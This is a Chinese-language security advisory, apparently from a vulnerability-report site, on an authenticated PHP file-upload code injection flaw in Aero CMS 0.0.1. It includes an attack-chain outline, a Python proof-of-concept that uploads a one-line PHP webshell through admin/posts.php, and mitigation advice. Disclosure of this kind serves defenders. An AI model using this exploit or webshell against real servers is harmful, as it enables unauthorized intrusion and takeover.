IPBUF安全漏洞报告
English
CVE-2022-50944 CVSS 8.8 高危

CVE-2022-50944 Aero CMS PHP代码注入漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2022-50944
漏洞类型
PHP代码注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Aero CMS

相关标签

PHP代码注入远程代码执行Aero CMS文件上传漏洞Web安全

漏洞概述

Aero CMS 0.0.1版本存在严重的PHP代码注入漏洞。由于系统未严格校验上传文件的类型,经过身份验证的攻击者可利用该漏洞。攻击者通过在admin/posts.php端点使用image参数上传包含恶意代码的PHP文件,服务器会直接解析执行该文件,从而导致攻击者在服务器端远程执行任意代码,获取系统控制权。

技术细节

该漏洞的核心在于Aero CMS处理文章图片上传时缺乏有效的安全过滤机制。在`admin/posts.php`页面,当参数`source=add_post`被触发时,后端接收用户提交的`image`字段数据。程序未对文件扩展名及内容类型进行严格验证,允许攻击者上传恶意的.php文件。上传成功后,文件通常被保存在Web可访问的目录中。攻击者随后通过HTTP请求直接访问该PHP文件的URL,服务器后端PHP解析器会处理文件中的恶意指令(如系统命令执行、WebShell生成等),从而在系统上下文中执行任意代码。由于漏洞利用需要低权限账户,内部人员或凭证泄露者均可发起攻击。此外,该漏洞结合了认证绕过或弱口令风险时,危害将进一步扩大,导致服务器被完全接管,数据泄露或勒索软件植入。

攻击链分析

STEP 1
信息收集
识别目标服务器运行Aero CMS 0.0.1版本,并确认存在admin/posts.php接口。
STEP 2
获取凭证
攻击者通过钓鱼、撞库或利用其他弱口令漏洞获取一个低权限的账户凭据。
STEP 3
漏洞利用
攻击者使用凭证登录后台,向admin/posts.php发送带有source=add_post参数的POST请求,并在image字段上传包含恶意PHP代码的文件。
STEP 4
代码执行
攻击者通过浏览器访问上传后的PHP文件路径,触发服务器解析并执行恶意代码,如执行系统命令。
STEP 5
权限维持
攻击者写入WebShell或后门程序,建立持久化的远程控制通道。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-ip/aerocms" login_url = f"{target_url}/admin/login.php" upload_url = f"{target_url}/admin/posts.php" # Attacker credentials (requires low privilege) username = "attacker" password = "password" # Malicious PHP code php_code = "<?php system($_GET['cmd']); ?>" # 1. Login to get session session = requests.Session() payload = { "username": username, "password": password, "login": "submit" } session.post(login_url, data=payload) # 2. Upload malicious file files = { 'image': ('shell.php', php_code, 'application/octet-stream') } data = { 'source': 'add_post', 'title': 'Test Post' } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Try accessing the uploaded file to execute commands.") else: print("[-] Upload failed.")

影响范围

Aero CMS 0.0.1

防御指南

临时缓解措施
建议立即限制对admin目录的访问权限,仅允许可信IP地址连接。在服务器端配置Nginx或Apache规则,禁止在/uploads/等上传目录解析PHP代码。同时,管理员应立即审查系统用户,删除不必要的低权限账户,并强制所有用户更新强密码。

参考链接